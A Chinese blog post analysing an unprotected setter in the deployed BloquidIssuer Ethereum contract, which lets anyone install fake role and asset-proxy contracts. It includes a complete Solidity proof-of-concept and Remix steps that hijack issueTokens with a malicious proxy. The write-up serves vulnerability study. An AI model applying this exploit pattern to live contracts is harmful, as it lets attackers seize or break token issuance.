智能合约新手
前几天浏览Solidity源代码发现一个有趣的现象,一个contract可以在状态变量中声明未被实现的其他contract,部署后通过setter改变状态变量的address,从而将代码逻辑添加到主contract中。
但是,如果状态变量的修改权限没有被保护,将导致该合约执行攻击者撰写的恶意代码,影响合约的正确执行
视频讲解已发布在B站
- 以太坊地址:BloquidIssuer | Address 0x333f37329c6d2346001501f235d33bf68ec1cf5e | Etherscan
- Remix:Remix – Ethereum IDE
该地址的主合约是BloquidIssuer,连续继承了Ambi2EnabledFull和Ambi2Enabled
合约文件还有3个抽象contract,即没有实现函数逻辑的接口合约,Ambi2、EToken2Interface、AssetProxy
主合约BloquidIssuer有一个AsserProxy类型的状态变量,能够被setupAssetProxy函数赋值修改,而该函数的函数修饰器onlyRole需要AmbitiousEnabled合约的ambi2状态变量满足2个条件
- 地址不为空,即部署后的合约
- hashRole的返回值为true
有趣的事情出现了,Ambi2Enabled合约中的ambi2状态变量能够通过setupAmbi2函数任意修改,这一连串的调用结果就是:BloquidIssuer的AsserProxy能够被外界任意赋值!
因此,BloquidIssuer中的issueTokens函数将调用攻击者编写的AssetProxy合约实现的逻辑,而坏心眼的攻击者肯定会搞小动作,比如写一个永远不能满足的require
我写了一个小demo,能够触发上述漏洞
pragma solidity ^0.4.11;contract Ambi2 {function hasRole(address, bytes32, address) constant returns (bool);function claimFor(address, address) returns (bool);function isOwner(address, address) constant returns (bool);}contract A is Ambi2{function hasRole(address, bytes32, address) constant returns (bool){return true;}function claimFor(address, address) returns (bool){return true;}function isOwner(address, address) constant returns (bool){return true;}}contract Ambi2Enabled {Ambi2 ambi2;modifier onlyRole(bytes32 _role) {if (address(ambi2) != 0x0 && ambi2.hasRole(this, _role, msg.sender)) {_;}}// Perform only after claiming the node, or claim in the same tx.function setupAmbi2(Ambi2 _ambi2) returns (bool) {if (address(ambi2) != 0x0) {return false;}ambi2 = _ambi2;return true;}}contract Ambi2EnabledFull is Ambi2Enabled {// Setup and claim atomically.function setupAmbi2(Ambi2 _ambi2) returns (bool) {if (address(ambi2) != 0x0) {return false;}if (!_ambi2.claimFor(this, msg.sender) && !_ambi2.isOwner(this, msg.sender)) {return false;}ambi2 = _ambi2;return true;}}contract EToken2Interface {function reissueAsset(bytes32 _symbol, uint _value) returns (bool);function changeOwnership(bytes32 _symbol, address _newOwner) returns (bool);}contract C is EToken2Interface{function reissueAsset(bytes32 _symbol, uint _value) returns (bool){return true;}function changeOwnership(bytes32 _symbol, address _newOwner) returns (bool){return true;}}contract AssetProxy {EToken2Interface public etoken2;bytes32 public etoken2Symbol;function transferWithReference(address _to, uint _value, string _reference) returns (bool);}contract B is AssetProxy{function set(address a){etoken2=EToken2Interface(a);}function transferWithReference(address _to, uint _value, string _reference) returns (bool){require(1==2,"haha");return true;}}contract BloquidIssuer is Ambi2EnabledFull {// function transferWithReference(address _to, uint _value, string _reference) returns (bool){// return true;// }AssetProxy public assetProxy;function setupAssetProxy(AssetProxy _assetProxy) onlyRole("__root__") returns (bool) {if ((address(assetProxy) != 0x0) || (address(_assetProxy) == 0x0)) {return false;}assetProxy = _assetProxy;return true;}function issueTokens(uint _value, string _regNumber) onlyRole("issuer") returns (bool) {bytes32 symbol = assetProxy.etoken2Symbol();EToken2Interface etoken2 = assetProxy.etoken2();if (!etoken2.reissueAsset(symbol, _value)) {return false;}if (!assetProxy.transferWithReference(msg.sender, _value, _regNumber)) {throw;}return true;}function changeAssetOwner(address _newOwner) onlyRole("__root__") returns (bool) {if (_newOwner == 0x0) {return false;}bytes32 symbol = assetProxy.etoken2Symbol();EToken2Interface etoken2 = assetProxy.etoken2();if (!etoken2.changeOwnership(symbol, _newOwner)) {return false;}return true;}}
按照下述步骤部署:
- 部署BloquidIssuer
- 部署A,
- 执行BloquidIssuer.setupAmbi2,参数为A的地址。返回值为true
- 部署B
- 部署C
- 执行B.set,参数为C的值
- 执行BloquidIssuer.setupAssetProxy,参数为B的地址。返回值为true
- 执行BloquidIssuer.issueTokens,参数为(22, 22),随意,啥都行
你将会看到message为”haha”